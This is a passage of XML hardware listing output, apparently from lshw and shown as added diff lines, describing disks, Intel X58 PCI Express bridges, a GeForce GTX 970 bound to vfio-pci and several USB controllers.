<logicalname>/dev/sdm</logicalname> + <dev>8:192</dev> + <version>SD02</version> + <serial>[REMOVED]</serial> + <size units="bytes">1000204886016</size> + <capacity units="bytes">1000205189120</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + <setting id="signature" value="0e4ed603" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.6.0,1</businfo> + <logicalname>/dev/sdm1</logicalname> + <dev>8:193</dev> + <capacity>1000204853248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:4" claimed="true" class="disk" handle="SCSI:02:00:07:00"> + <description>ATA Disk</description> + <product>ST1000LX001-1EM1</product> + <vendor>Seagate</vendor> + <physid>0.7.0</physid> + <businfo>scsi@2:0.7.0</businfo> + <logicalname>/dev/sdn</logicalname> + <dev>8:208</dev> + <version>SD02</version> + <serial>[REMOVED]</serial> + <size units="bytes">1000204886016</size> + <capacity units="bytes">1000205189120</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + <setting id="signature" value="0e4ed605" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.7.0,1</businfo> + <logicalname>/dev/sdn1</logicalname> + <dev>8:209</dev> + <capacity>1000204853248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:5" claimed="true" class="disk" handle="SCSI:02:00:00:00"> + <description>ATA Disk</description> + <product>ST1000LX001-1EM1</product> + <vendor>Seagate</vendor> + <physid>0.0.0</physid> + <businfo>scsi@2:0.0.0</businfo> + <logicalname>/dev/sdg</logicalname> + <dev>8:96</dev> + <version>SD02</version> + <serial>[REMOVED]</serial> + <size units="bytes">1000204886016</size> + <capacity units="bytes">1000205189120</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + <setting id="signature" value="0e4ed60f" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.0.0,1</businfo> + <logicalname>/dev/sdg1</logicalname> + <dev>8:97</dev> + <capacity>1000204853248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:6" claimed="true" class="disk" handle="SCSI:02:00:01:00"> + <description>ATA Disk</description> + <product>ST9750420AS</product> + <vendor>Seagate</vendor> + <physid>0.1.0</physid> + <businfo>scsi@2:0.1.0</businfo> + <logicalname>/dev/sdh</logicalname> + <dev>8:112</dev> + <version>SDM5</version> + <serial>[REMOVED]</serial> + <size units="bytes">750156374016</size> + <capacity units="bytes">750156513280</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.1.0,1</businfo> + <logicalname>/dev/sdh1</logicalname> + <dev>8:113</dev> + <capacity>750156341248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + <node id="disk:7" claimed="true" class="disk" handle="SCSI:02:00:02:00"> + <description>ATA Disk</description> + <product>ST9750420AS</product> + <vendor>Seagate</vendor> + <physid>0.2.0</physid> + <businfo>scsi@2:0.2.0</businfo> + <logicalname>/dev/sdi</logicalname> + <dev>8:128</dev> + <version>SDM5</version> + <serial>[REMOVED]</serial> + <size units="bytes">750156374016</size> + <capacity units="bytes">750156513280</capacity> + <configuration> + <setting id="ansiversion" value="6" /> + <setting id="logicalsectorsize" value="512" /> + <setting id="sectorsize" value="4096" /> + </configuration> + <capabilities> + <capability id="15000rpm" >15000 rotations per minute</capability> + <capability id="partitioned" >Partitioned disk</capability> + <capability id="partitioned:dos" >MS-DOS partition table</capability> + </capabilities> + <node id="volume" claimed="true" class="volume" handle=""> + <description>Linux filesystem partition</description> + <physid>1</physid> + <businfo>scsi@2:0.2.0,1</businfo> + <logicalname>/dev/sdi1</logicalname> + <dev>8:129</dev> + <capacity>750156341248</capacity> + <capabilities> + <capability id="primary" >Primary partition</capability> + </capabilities> + </node> + </node> + </node> + </node> + <node id="pci:1" claimed="true" class="bridge" handle="PCIBUS:0000:0f"> + <description>PCI bridge</description> + <product>5520/5500/X58 I/O Hub PCI Express Root Port 2</product> + <vendor>Intel Corporation</vendor> + <physid>2</physid> + <businfo>pci@0000:00:02.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="pci:2" claimed="true" class="bridge" handle="PCIBUS:0000:0e"> + <description>PCI bridge</description> + <product>5520/5500/X58 I/O Hub PCI Express Root Port 3</product> + <vendor>Intel Corporation</vendor> + <physid>3</physid> + <businfo>pci@0000:00:03.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="pci:3" claimed="true" class="bridge" handle="PCIBUS:0000:0d"> + <description>PCI bridge</description> + <product>5520/X58 I/O Hub PCI Express Root Port 4</product> + <vendor>Intel Corporation</vendor> + <physid>4</physid> + <businfo>pci@0000:00:04.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="pci:4" claimed="true" class="bridge" handle="PCIBUS:0000:0c"> + <description>PCI bridge</description> + <product>5520/X58 I/O Hub PCI Express Root Port 5</product> + <vendor>Intel Corporation</vendor> + <physid>5</physid> + <businfo>pci@0000:00:05.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + <resource type="memory" value="fb700000-fb7fffff" /> + </resources> + <node id="usb" claimed="true" class="bus" handle="PCI:0000:0c:00.0"> + <description>USB controller</description> + <product>EJ188/EJ198 USB 3.0 Host Controller</product> + <vendor>Etron Technology, Inc.</vendor> + <physid>0</physid> + <businfo>pci@0000:0c:00.0</businfo> + <version>00</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="vfio-pci" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="xhci" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="37" /> + <resource type="memory" value="fb7f8000-fb7fffff" /> + </resources> + </node> + </node> + <node id="pci:5" claimed="true" class="bridge" handle="PCIBUS:0000:0b"> + <description>PCI bridge</description> + <product>5520/X58 I/O Hub PCI Express Root Port 6</product> + <vendor>Intel Corporation</vendor> + <physid>6</physid> + <businfo>pci@0000:00:06.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="pci:6" claimed="true" class="bridge" handle="PCIBUS:0000:0a"> + <description>PCI bridge</description> + <product>5520/5500/X58 I/O Hub PCI Express Root Port 7</product> + <vendor>Intel Corporation</vendor> + <physid>7</physid> + <businfo>pci@0000:00:07.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + <resource type="ioport" value="d000(size=4096)" /> + <resource type="memory" value="f9f00000-fb6fffff" /> + <resource type="ioport" value="ce000000(size=301989888)" /> + </resources> + <node id="display" claimed="true" class="display" handle="PCI:0000:0a:00.0"> + <description>VGA compatible controller</description> + <product>GM204 [GeForce GTX 970]</product> + <vendor>NVIDIA Corporation</vendor> + <physid>0</physid> + <businfo>pci@0000:0a:00.0</businfo> + <version>a1</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="vfio-pci" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="vga_controller" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + <capability id="rom" >extension ROM</capability> + </capabilities> + <resources> + <resource type="irq" value="28" /> + <resource type="memory" value="fa000000-faffffff" /> + <resource type="memory" value="d0000000-dfffffff" /> + <resource type="memory" value="ce000000-cfffffff" /> + <resource type="ioport" value="dc00(size=128)" /> + <resource type="memory" value="f9f80000-f9ffffff" /> + </resources> + </node> + <node id="multimedia" claimed="true" class="multimedia" handle="PCI:0000:0a:00.1"> + <description>Audio device</description> + <product>GM204 High Definition Audio Controller</product> + <vendor>NVIDIA Corporation</vendor> + <physid>0.1</physid> + <businfo>pci@0000:0a:00.1</businfo> + <version>a1</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="vfio-pci" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="29" /> + <resource type="memory" value="fb6fc000-fb6fffff" /> + </resources> + </node> + </node> + <node id="pci:7" claimed="true" class="bridge" handle="PCIBUS:0000:09"> + <description>PCI bridge</description> + <product>5520/5500/X58 I/O Hub PCI Express Root Port 8</product> + <vendor>Intel Corporation</vendor> + <physid>8</physid> + <businfo>pci@0000:00:08.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="pci:8" claimed="true" class="bridge" handle="PCIBUS:0000:08"> + <description>PCI bridge</description> + <product>7500/5520/5500/X58 I/O Hub PCI Express Root Port 9</product> + <vendor>Intel Corporation</vendor> + <physid>9</physid> + <businfo>pci@0000:00:09.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="pci:9" claimed="true" class="bridge" handle="PCIBUS:0000:07"> + <description>PCI bridge</description> + <product>7500/5520/5500/X58 I/O Hub PCI Express Root Port 10</product> + <vendor>Intel Corporation</vendor> + <physid>a</physid> + <businfo>pci@0000:00:0a.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="0" /> + </resources> + </node> + <node id="generic:0" class="generic" handle="PCI:0000:00:10.0"> + <description>PIC</description> + <product>7500/5520/5500/X58 Physical and Link Layer Registers Port 0</product> + <vendor>Intel Corporation</vendor> + <physid>10</physid> + <businfo>pci@0000:00:10.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="8259" /> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + </node> + <node id="generic:1" class="generic" handle="PCI:0000:00:10.1"> + <description>PIC</description> + <product>7500/5520/5500/X58 Routing and Protocol Layer Registers Port 0</product> + <vendor>Intel Corporation</vendor> + <physid>10.1</physid> + <businfo>pci@0000:00:10.1</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="8259" /> + </capabilities> + </node> + <node id="generic:2" class="generic" handle="PCI:0000:00:11.0"> + <description>PIC</description> + <product>7500/5520/5500 Physical and Link Layer Registers Port 1</product> + <vendor>Intel Corporation</vendor> + <physid>11</physid> + <businfo>pci@0000:00:11.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="8259" /> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + </node> + <node id="generic:3" class="generic" handle="PCI:0000:00:11.1"> + <description>PIC</description> + <product>7500/5520/5500 Routing & Protocol Layer Register Port 1</product> + <vendor>Intel Corporation</vendor> + <physid>11.1</physid> + <businfo>pci@0000:00:11.1</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="8259" /> + </capabilities> + </node> + <node id="generic:4" class="generic" handle="PCI:0000:00:14.0"> + <description>PIC</description> + <product>7500/5520/5500/X58 I/O Hub System Management Registers</product> + <vendor>Intel Corporation</vendor> + <physid>14</physid> + <businfo>pci@0000:00:14.0</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pciexpress" >PCI Express</capability> + <capability id="8259" /> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + </node> + <node id="generic:5" class="generic" handle="PCI:0000:00:14.1"> + <description>PIC</description> + <product>7500/5520/5500/X58 I/O Hub GPIO and Scratch Pad Registers</product> + <vendor>Intel Corporation</vendor> + <physid>14.1</physid> + <businfo>pci@0000:00:14.1</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pciexpress" >PCI Express</capability> + <capability id="8259" /> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + </node> + <node id="generic:6" class="generic" handle="PCI:0000:00:14.2"> + <description>PIC</description> + <product>7500/5520/5500/X58 I/O Hub Control Status and RAS Registers</product> + <vendor>Intel Corporation</vendor> + <physid>14.2</physid> + <businfo>pci@0000:00:14.2</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pciexpress" >PCI Express</capability> + <capability id="8259" /> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + </node> + <node id="generic:7" class="generic" handle="PCI:0000:00:14.3"> + <description>PIC</description> + <product>7500/5520/5500/X58 I/O Hub Throttle Registers</product> + <vendor>Intel Corporation</vendor> + <physid>14.3</physid> + <businfo>pci@0000:00:14.3</businfo> + <version>22</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="8259" /> + </capabilities> + </node> + <node id="generic:8" class="generic" handle="PCI:0000:00:16.0"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16</physid> + <businfo>pci@0000:00:16.0</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9bd4000-f9bd7fff" /> + </resources> + </node> + <node id="generic:9" class="generic" handle="PCI:0000:00:16.1"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.1</physid> + <businfo>pci@0000:00:16.1</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9bd8000-f9bdbfff" /> + </resources> + </node> + <node id="generic:10" class="generic" handle="PCI:0000:00:16.2"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.2</physid> + <businfo>pci@0000:00:16.2</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9bdc000-f9bdffff" /> + </resources> + </node> + <node id="generic:11" class="generic" handle="PCI:0000:00:16.3"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.3</physid> + <businfo>pci@0000:00:16.3</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9be0000-f9be3fff" /> + </resources> + </node> + <node id="generic:12" class="generic" handle="PCI:0000:00:16.4"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.4</physid> + <businfo>pci@0000:00:16.4</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9be4000-f9be7fff" /> + </resources> + </node> + <node id="generic:13" class="generic" handle="PCI:0000:00:16.5"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.5</physid> + <businfo>pci@0000:00:16.5</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9be8000-f9bebfff" /> + </resources> + </node> + <node id="generic:14" class="generic" handle="PCI:0000:00:16.6"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.6</physid> + <businfo>pci@0000:00:16.6</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9bec000-f9beffff" /> + </resources> + </node> + <node id="generic:15" class="generic" handle="PCI:0000:00:16.7"> + <description>System peripheral</description> + <product>5520/5500/X58 Chipset QuickData Technology Device</product> + <vendor>Intel Corporation</vendor> + <physid>16.7</physid> + <businfo>pci@0000:00:16.7</businfo> + <version>22</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="msix" >MSI-X</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pm" >Power Management</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9bf0000-f9bf3fff" /> + </resources> + </node> + <node id="usb:0" claimed="true" class="bus" handle="PCI:0000:00:1a.0"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB UHCI Controller #4</product> + <vendor>Intel Corporation</vendor> + <physid>1a</physid> + <businfo>pci@0000:00:1a.0</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="uhci_hcd" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="uhci" >Universal Host Controller Interface (USB1)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="16" /> + <resource type="ioport" value="7400(size=32)" /> + </resources> + </node> + <node id="usb:1" claimed="true" class="bus" handle="PCI:0000:00:1a.1"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB UHCI Controller #5</product> + <vendor>Intel Corporation</vendor> + <physid>1a.1</physid> + <businfo>pci@0000:00:1a.1</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="uhci_hcd" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="uhci" >Universal Host Controller Interface (USB1)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="21" /> + <resource type="ioport" value="7480(size=32)" /> + </resources> + </node> + <node id="usb:2" claimed="true" class="bus" handle="PCI:0000:00:1a.7"> + <description>USB controller</description> + <product>82801JI (ICH10 Family) USB2 EHCI Controller #2</product> + <vendor>Intel Corporation</vendor> + <physid>1a.7</physid> + <businfo>pci@0000:00:1a.7</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="ehci-pci" /> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="debug" >Debug port</capability> + <capability id="ehci" >Enhanced Host Controller Interface (USB2)</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="18" /> + <resource type="memory" value="f9bf8000-f9bf83ff" /> + </resources> + </node> + <node id="multimedia" class="multimedia" handle="PCI:0000:00:1b.0"> + <description>Audio device</description> + <product>82801JI (ICH10 Family) HD Audio Controller</product> + <vendor>Intel Corporation</vendor> + <physid>1b</physid> + <businfo>pci@0000:00:1b.0</businfo> + <version>00</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="latency" value="0" /> + </configuration> + <capabilities> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pciexpress" >PCI Express</capability> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="memory" value="f9bf4000-f9bf7fff" /> + </resources> + </node> + <node id="pci:10" claimed="true" class="bridge" handle="PCIBUS:0000:04"> + <description>PCI bridge</description> + <product>82801JI (ICH10 Family) PCI Express Root Port 1</product> + <vendor>Intel Corporation</vendor> + <physid>1c</physid> + <businfo>pci@0000:00:1c.0</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability id="pciexpress" >PCI Express</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="irq" value="24" /> + <resource type="ioport" value="1000(size=4096)" /> + <resource type="memory" value="f9e00000-f9efffff" /> + <resource type="ioport" value="c0000000(size=2097152)" /> + </resources> + <node id="pci:0" claimed="true" class="bridge" handle="PCIBUS:0000:06"> + <description>PCI bridge</description> + <product>uPD720400 PCI Express - PCI/PCI-X Bridge</product> + <vendor>NEC Corporation</vendor> + <physid>0</physid> + <businfo>pci@0000:04:00.0</businfo> + <version>06</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <capabilities> + <capability id="pci" /> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pcix" >PCI-X</capability> + <capability id="pm" >Power Management</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="iomemory" value="242001f10-242001f0f" /> + </resources> + </node> + <node id="pci:1" claimed="true" class="bridge" handle="PCIBUS:0000:05"> + <description>PCI bridge</description> + <product>uPD720400 PCI Express - PCI/PCI-X Bridge</product> + <vendor>NEC Corporation</vendor> + <physid>0.1</physid> + <businfo>pci@0000:04:00.1</businfo> + <version>06</version> + <width units="bits">64</width> + <clock units="Hz">33000000</clock> + <capabilities> + <capability id="pci" /> + <capability id="pciexpress" >PCI Express</capability> + <capability id="pcix" >PCI-X</capability> + <capability id="pm" >Power Management</capability> + <capability id="msi" >Message Signalled Interrupts</capability> + <capability id="normal_decode" /> + <capability id="bus_master" >bus mastering</capability> + <capability id="cap_list" >PCI capabilities listing</capability> + </capabilities> + <resources> + <resource type="iomemory" value="242001f10-242001f0f" /> + <resource type="memory" value="f9eff000-f9eff07f" /> + </resources> + </node> + </node> + <node id="pci:11" claimed="true" class="bridge" handle="PCIBUS:0000:03"> + <description>PCI bridge</description> + <product>82801JI (ICH10 Family) PCI Express Root Port 5</product> + <vendor>Intel Corporation</vendor> + <physid>1c.4</physid> + <businfo>pci@0000:00:1c.4</businfo> + <version>00</version> + <width units="bits">32</width> + <clock units="Hz">33000000</clock> + <configuration> + <setting id="driver" value="pcieport" /> + </configuration> + <capabilities> + <capability id="pci" /> + <capability 